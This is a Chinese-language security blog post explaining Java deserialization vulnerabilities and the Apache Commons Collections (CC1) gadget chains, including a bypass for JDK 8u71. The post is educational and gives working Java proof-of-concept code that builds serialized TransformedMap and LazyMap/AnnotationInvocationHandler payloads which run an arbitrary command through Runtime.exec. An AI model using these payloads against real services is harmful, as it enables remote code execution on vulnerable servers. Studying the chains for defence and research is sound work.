JavaSec java反序列化漏洞利用分析

Java反序列是一个将对象转换为字节流的机制,是在json,xml数据格式之外的一个数据传输格式,是Java原生支持的。但是不安全的序列化与反序列使用存在安全风险,这是对不可信的输入数据没有严格的校验改变了程序的执行流程,达到任意代码执行等目标,从这个Java反序列化漏洞的原理可以拓展很多漏洞利用,本质都是差不多的,任何的输入数据只要参与了程序的执行流程就有可能存在安全风险,如XSS,SQL注入,Fastjson等。

这里将以下对Java反序列的漏洞原理进行介绍

1.Java序列化与反序列化的基本概念

2.Java反序列利用链认识

3.JDK1.8u71的绕过

4.寻找利用链

一、java序列化与反序列

1.1 java 序列化

java的序列化将java的对象转化为字节流可以实现对象的状态保存,使得对象可以持久化保存或者在网络跨jvm传输,这个状态的保存是通过保存对象的成员变量的具体值实现,下面将证实java的序列化只是保存了对象的成员变量的值,而没有代码逻辑。

一个对象能够被序列化必须实现 Serializable接口,通过对象的writeObject实现将对象转换为字节流。这个方法默认可以不实现,若需要自定义一些数据在序列化写入,可以自定义对象的writeObject实现。

1.2 Java 反序列化

java的反序列则是序列化的逆反过程,将字节流序列按照序列化格式规范解析,将对象的状态的还原,即成员变量赋值。这个逻辑的实现在对象的readObject 函数,内部的机制通过反射实现。

下面以一个例子说明Java序列化与反序列的基本使用

User类

package org.sec.demo01;

import java.io.Serializable;

/**
 * @Project: JavaSec
 * @Desc: 序列化与反序列demo
 * @Author: thonsun
 * @Create: 2020/12/26 11:21
 **/
public class User implements Serializable {
    public String name;
    public int age;
    public Flag flag;

    public User(String name, int age, Flag flag) {
        this.name = name;
        this.age = age;
        this.flag = flag;
    }

    public User() {
    }
}

class Flag implements Serializable{
    public String flag;

    public Flag() {
    }

    public Flag(String flag) {
        this.flag = flag;
    }
}

测试

package org.sec.demo01;

import java.io.*;

/**
 * @Project: JavaSec
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 11:24
 **/
public class MainClass {
    public static void main(String[] args) {
        MainClass mainClass = new MainClass();
        Flag flag = new Flag("flag{xxxxxxx}");
        User user = new User("thonsun", 22, flag);

        mainClass.serializeUser(user);
        mainClass.deserializeUser();
    }

    public void serializeUser(User user){
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user"));
            oos.writeObject(user);
            System.out.println("Serialize ok");
            oos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void deserializeUser(){
        try {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user"));
            User user = (User) ois.readObject();
            System.out.println(user.name + user.age + user.flag.flag);
            ois.close();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

}

image-20201226113515579

1.3 序列化流数据格式

以上面demo例子看序列化的数据user.txt,通过SerializationDumper可以方便查看序列字符串的对象信息

$ java -jar SerializationDumper.jar ACED0005737200136F72672E7365632E64656D6F30312E55736572F2FD6BF8B714735E0200034900036167654C0004666C61677400154C6F72672F7365632F64656D6F30312F466C61673B4C00046E616D657400124C6A6176612F6C616E672F537472696E673B787000000016737200136F72672E7365632E64656D6F30312E466C6167E8D313A21ECC24E90200014C0004666C616771007E0002787074000D666C61677B787878787878787D74000774686F6E73756E

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 19 - 0x00 13
        Value - org.sec.demo01.User - 0x6f72672e7365632e64656d6f30312e55736572
      serialVersionUID - 0xf2 fd 6b f8 b7 14 73 5e
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 3 - 0x00 03
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - flag - 0x666c6167
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 21 - 0x00 15
              Value - Lorg/sec/demo01/Flag; - 0x4c6f72672f7365632f64656d6f30312f466c61673b
        2:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 02
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 03
    classdata
      org.sec.demo01.User
        values
          age
            (int)22 - 0x00 00 00 16
          flag
            (object)
              TC_OBJECT - 0x73
                TC_CLASSDESC - 0x72
                  className
                    Length - 19 - 0x00 13
                    Value - org.sec.demo01.Flag - 0x6f72672e7365632e64656d6f30312e466c6167
                  serialVersionUID - 0xe8 d3 13 a2 1e cc 24 e9
                  newHandle 0x00 7e 00 04
                  classDescFlags - 0x02 - SC_SERIALIZABLE
                  fieldCount - 1 - 0x00 01
                  Fields
                    0:
                      Object - L - 0x4c
                      fieldName
                        Length - 4 - 0x00 04
                        Value - flag - 0x666c6167
                      className1
                        TC_REFERENCE - 0x71
                          Handle - 8257538 - 0x00 7e 00 02
                  classAnnotations
                    TC_ENDBLOCKDATA - 0x78
                  superClassDesc
                    TC_NULL - 0x70
                newHandle 0x00 7e 00 05
                classdata
                  org.sec.demo01.Flag
                    values
                      flag
                        (object)
                          TC_STRING - 0x74
                            newHandle 0x00 7e 00 06
                            Length - 13 - 0x00 0d
                            Value - flag{xxxxxxx} - 0x666c61677b787878787878787d
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 07
                Length - 7 - 0x00 07
                Value - thonsun - 0x74686f6e73756e

抽取关键的

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
    TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
        className
        fieldCount - 3 - 0x00 03
          Fields
          ....
          classdata
          ...

这里可以看出序列化的数据只是保存了对象的成员变量的值,没有代码逻辑;反序列化构建对象的时候必须本地classpath存在序列化数据中指定的class加载,否则会报ClassNotFound错误,所以说对象的代码逻辑是JVM共有,传输的是对象的数据。

二、java利用链的认识

2.1 反序列化的利用点

从上面的分析,Java在反序列还原对象的时候,依据序列化字符串格式解析,从本地classpath加载对应类,恢复对象的成员在序列化字节流中指定的对象或值。这个意思就是说,我们传输的数据可以指定的构造class对象,这就是反序列化的利用点了

1.远程服务使用反序列化

2.远程服务的classpath存在相关可序列化class(实现Serializable接口,利用readObject)并且有实现callback机制,这些callback方法如文件操作,命令执行,网络连接等。

服务端在使用反序列化readObject在还原一个对象的时候,没有对对象成员变量进行类型限制,攻击者可以在本地构造恶意的对象序列化字节流,这个恶意对象的内部成员变量(通常利用其他Object,在构造的时候改变一些属性)使得在反序列的进入一些如文件操作,命令执行,网络连接的操作,如URL。

2.2 poc

首先给出这个利用链的调用过程

...对序列化字节流的解析还原对象,下面调试证实是通过递归调用readObjecto():Class.forName,Class.NewInstance,反射调用Object.readObject实现
AnnotationInvocationHandler.readObject()
    Entry.setValue()
        TransformerManager.transform()

利用条件

1.jdk1.8u71以下

2.依赖apache common collections 给map在get|set增加回调函数,如LazyMap,TransformedMap

下面简单介绍下TransformeredMap的使用

package org.sec.cc02;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @Project: JavaSec
 * @Desc: common collections 使用目的
 * @Author: thonsun
 * @Create: 2020/12/12 19:33
 **/
public class MainClass {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"C:\\Windows\\notepad.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

TransformedMap.decorate给Map增加回调函数,在利用poc中,这些回调函数是我们的利用目的,比如这个map写入或取出都触发这些回调函数的执行。我们只需要在生成payload的时候,把原本的对象map换成这个decorate 的map,若在readObject的过程中对这个map进行put操作(通常我们还需要改变对象的成员属性,是的程序的逻辑到达这些操作,即if-else的控制,这个也叫面向属性编程的艺术),则触发transformer链的调用,达到RCE等目的。

利用CC链进行Java反序列化漏洞利用:

package org.sec.cc03;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
 * @Project: JavaSec
 * @Desc: common collections的POC
 * @Author: thonsun
 * @Create: 2020/12/12 20:01
 **/
public class MainClass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //Method f = Runtime.class.getMethod("getRuntime");
        //Runtime r = (Runtime) f.invoke(null);
        //r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new Object[]{"C:\\Windows\\notepad.exe"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();

        innerMap.put("value","xxxx");
        Map outMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outMap);

        //write obj buffer
        ByteArrayOutputStream buff = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(buff);
        oos.writeObject(obj);
        oos.close();

        //read obj from buffer
        System.out.println(buff);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buff.toByteArray()));
        Object o = ois.readObject();
    }
}

这里选用JDK 8u71前版本的 sun.reflect.annotation.AnnotationInvocationHandler 类:该类满足:

1、构造器可控 memberValues Map写入

2、可反序列,存在 readObject 逻辑对 memberValues 插入操作

2.3 Java 反序列化过程

对POC进行分析

2.3.1 ObjectInputStream.readObject() -> ObjectInputStream.readObjecto() ->ObjectInputStream.readOrdinaryObject() :

对序列化的字节流进行解析,如TC_OBJECT进入ObjectInputStream.readOrdinaryObject() 读取类的信息,如类名,通过class.forName加载类,再通过Class.newInstance取得对象

Class.forName:加载序列化对象类

image-20201226124220005

Class.newInstance:调用默认构造函数实例化序列化对象

image-20201226124458744

2.3.2 ObjectInputSteam.readSerialData(Object obj, ObjectStreamClass desc)

上面已经默认初始化了序列化的对象,接着要给这个obj赋值,desc里面保存了序列化数据这个对象每个Field的类信息与值信息

image-20201226125159929

2.3.3 ObjectSreamClass.invokeReadObject(obj,this) -> Paylod.readObject()

ObjectInputStram.readSerialData(Object obj, ObjectStreamClass desc)读取到Paylaod class成员信息后,进入Payload Class的readObject函数(这里的实现是通过反射机制)

截图为证

getMethod

image-20201226130321279

Method.invoke()

image-20201226130401249

2.3.4 AnnotationsInvocationHandler.readObject()

当ObjectInputStream递归的调用以上过程,实例并赋值AnnotationsInvocationHandler内部成员(如Retention,TransformedMap),最终进入TagetClass的readObject的逻辑,也就是我们payload的利用链开始。

在JDK1.8u66版本的AnnotationInvocationHandler.readObject() 函数逻辑

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();//this.memberValues == TranformedMap

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey(); 
        Class var7 = (Class)var3.get(var6); 
        if (var7 != null) {
            Object var8 = var5.getValue(); // 直接对Map进行get
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); // 直接对Map进行set 触发利用
            }
        }
    }

}

image-20201226135406047

进入setValue触发TransformedMap回调,要进入setValue()(即满足if判断)需要AnnotationInvocationHandler实例满足:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
    Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X
  2. 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

这里选择Retention,里面有方法value,所以map存在一个key=”value”

image-20201226135740969

三、jdk1.8u71的绕过

上面解析了在JDK1.8u66的AnnotationInvocationHandler.readObject()的利用,在JDK1.8u71后对这个AnnotationInvocationHandler的readObject修改,不再直接操作AnnotationInvocationHandler类的map,改为操作在readObject方法中的临时变量

image-20201226141434220

这里了解下Apapche comon collection除了TransformedMap的put会触发回调外,LazyMap在get不到key的时候会触发回调

package org.sec.cc02;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @Project: JavaSec
 * @Desc: LayMap测试
 * @Author: thonsun
 * @Create: 2020/12/26 14:42
 **/
public class MainClassTwo {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"C:\\Windows\\notepad.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        outerMap.put("test", "xxxx");
        outerMap.get("test1");
    }
}

虽然JDK1.8u1之后的AnnotationInvocationHandler.readObject()还有对AnnotationInvocationHandler的map进行get操作

image-20201226145008097

但是若该序列化AnnotationInvocationHandler对象的时候,LazyMap触发get回调是get不到key对应的值,map没有任何内容是不会将它的类型信息写入到序列化字节流中。且map在取出Entry被强制转化为Entry类型,在getValue时候没有不会触发,即没有再对map(LazyMap)直接的get 与 set了

分析ysoserial的利用是,AnnotationInvocationHandler其实是一个代理handler,在invoke有对map的get操作,触发transformer

package org.sec.cc04;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @Project: JavaSec
 * @Desc: LazyMap利用CC1链
 * @Author: thonsun
 * @Create: 2020/12/13 00:30
 **/
public class MainClass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"C:\\Windows\\notepad.exe"})
        };

        HashMap innerMap = new HashMap();

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);//改用get利用 CC反序列链

        //动态代理innerMap,所有对Map的操作都会调用该handler的invoke方法,AnnotationHandler实际也是一个hanler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //动态代理innerMap的实现开始
        //创建handler
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        //创建使用proxyMap的AnnotationHandler
//        Object obj = constructor.newInstance(Retention.class, proxyMap);
         handler = (InvocationHandler)constructor.newInstance(Retention.class, proxyMap);

        //write obj buffer
        ByteArrayOutputStream buff = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(buff);
        oos.writeObject(handler);
        oos.close();

        //read obj from buffer
        System.out.println(buff);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buff.toByteArray()));
        Object o = ois.readObject();
    }
}

一个对Java反序列化的了解:

对于原对象

Class A {
    Class B
}

Class B {
    Class C
}

反序列化的 顺序:

C.readObject()
    -> B.readObject()
        -> A.readObject()

四、利用链的寻找

从上面的分析可以知道,Java的反序列漏洞利用其实是在找jvm classpath类的利用,从readObject()开始,通过对象的属性控制进入一些威胁操作,这个过程就是一个寻找Gadget的流程,究竟哪些类可以利用,怎么利用,在庞大的第三方依赖库与程序代码人工分析类的每个函数不太现实,上面提到的ysoserial和marshal的反序列利用gadget生成其实是基于已知的生成,Blackhack会议上提出Blackhat-Automated Disovery of Deserialization Gadget Chains wp,自动化的寻找gadget的工具:gadget inspector,有机会研究一下。

参考资料

1.Object Serialization Stream Protocol

2.SerializationDumper

3.ysoserial

4.marshalsec

5.gadget inspector

6.Blackhat-Automated Disovery of Deserialization Gadget Chains wp


 上一篇
JavaSec Jackjson反序列漏洞复现 JavaSec Jackjson反序列漏洞复现
在《JavaSec Jackson反序列化漏洞原理》中分析Jackson反序列化漏洞的成因,也总结了一些了Jackson的反序列化漏洞利用方式,这里将以Jackson的漏洞复现为主,以理清Jackson的漏洞发展史,从中吸取一些攻防经验。
2020-10-24
下一篇 
环境配置 环境配置
使用电脑浏览效果更佳! 整理常用的win | linux环境,包括开发用环境:Jetbrain全家桶crack过程; Jetbrains全家桶 关注最新的 refer 【重要】 2.以IDEA为例 2.1 官网下载对应版本 20
2019-12-29
  目录